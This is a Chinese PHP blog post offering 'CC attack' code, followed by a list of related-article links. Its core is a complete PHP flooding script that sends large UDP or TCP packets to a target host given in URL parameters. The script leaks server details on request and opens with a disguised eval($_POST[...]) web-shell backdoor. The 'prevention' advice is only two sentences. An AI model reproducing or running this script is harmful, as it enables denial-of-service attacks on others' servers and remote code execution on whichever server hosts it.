php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
PHP 图片文件上传实现代码
Dec 29 PHP
浅析php header 跳转
Jun 17 PHP
php用header函数实现301跳转代码实例
Nov 25 PHP
PHP生成不重复随机数的方法汇总
Nov 19 PHP
php对数组内元素进行随机调换的方法
May 12 PHP
PHP多文件上传实例
Jul 09 PHP
PHP简单实现生成txt文件到指定目录的方法
Apr 25 PHP
php+mongodb判断坐标是否在指定多边形区域内的实例
Oct 28 PHP
php计算多个集合的笛卡尔积实例详解
Feb 16 PHP
thinkPHP5框架自定义验证器实现方法分析
Jun 11 PHP
php文件后缀不强制为.php的实操方法
Sep 18 PHP
php实现推荐功能的简单实例
Sep 29 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
PHP笔记之:基于面向对象设计的详解
2013/05/14 PHP
php定义一个参数带有默认值的函数实例分析
2015/03/16 PHP
thinkphp实现163、QQ邮箱收发邮件的方法
2015/12/18 PHP
Laravel等框架模型关联的可用性浅析
2019/12/15 PHP
基于PHP+Mysql简单实现了图书购物车系统的实例详解
2020/08/06 PHP
JavaScipt基本教程之JavaScript语言的基础
2008/01/16 Javascript
从jQuery.camelCase()学习string.replace() 函数学习
2011/09/13 Javascript
js动态修改input输入框的type属性(实现方法解析)
2013/11/13 Javascript
jQuery截取指定长度字符串代码
2014/08/21 Javascript
轻量级的原生js日历插件calendar.js使用指南
2015/04/28 Javascript
JQuery中DOM实现事件移除的方法
2015/06/13 Javascript
用JS中split方法实现彩色文字背景效果实例
2016/08/24 Javascript
扩展Bootstrap Tooltip插件使其可交互的方法
2016/11/07 Javascript
原生JS实现圆环拖拽效果
2017/04/07 Javascript
利用vscode编写vue的简单配置详解
2017/06/17 Javascript
详解如何运行vue项目
2019/04/15 Javascript
[01:11:48]Fnatic vs IG 2018国际邀请赛小组赛BO2 第二场 8.17
2018/08/18 DOTA
python实现JAVA源代码从ANSI到UTF-8的批量转换方法
2015/08/10 Python
python获取交互式ssh shell的方法
2019/02/14 Python
Python3简单实现串口通信的方法
2019/06/12 Python
Java文件与类动手动脑实例详解
2019/11/10 Python
Python HTTP下载文件并显示下载进度条功能的实现
2020/04/02 Python
Python之变量类型和if判断方式
2020/05/05 Python
opencv 图像腐蚀和图像膨胀的实现
2020/07/07 Python
详解Selenium-webdriver绕开反爬虫机制的4种方法
2020/10/28 Python
python中spy++的使用超详细教程
2021/01/29 Python
香港No.1得奖零食网:香港零食大王
2016/07/22 全球购物
大学军训的体会
2014/11/08 职场文书
2014年机关后勤工作总结
2014/12/16 职场文书
2015中学学校工作总结
2015/07/20 职场文书
2015年七夕情人节感言
2015/08/03 职场文书
大学生社会实践感想
2015/08/11 职场文书
导游词之广东佛山(南风古灶)
2019/09/24 职场文书
深入解析MySQL索引数据结构
2021/10/16 MySQL
bat批处理之字符串操作的实现
2022/03/16 Python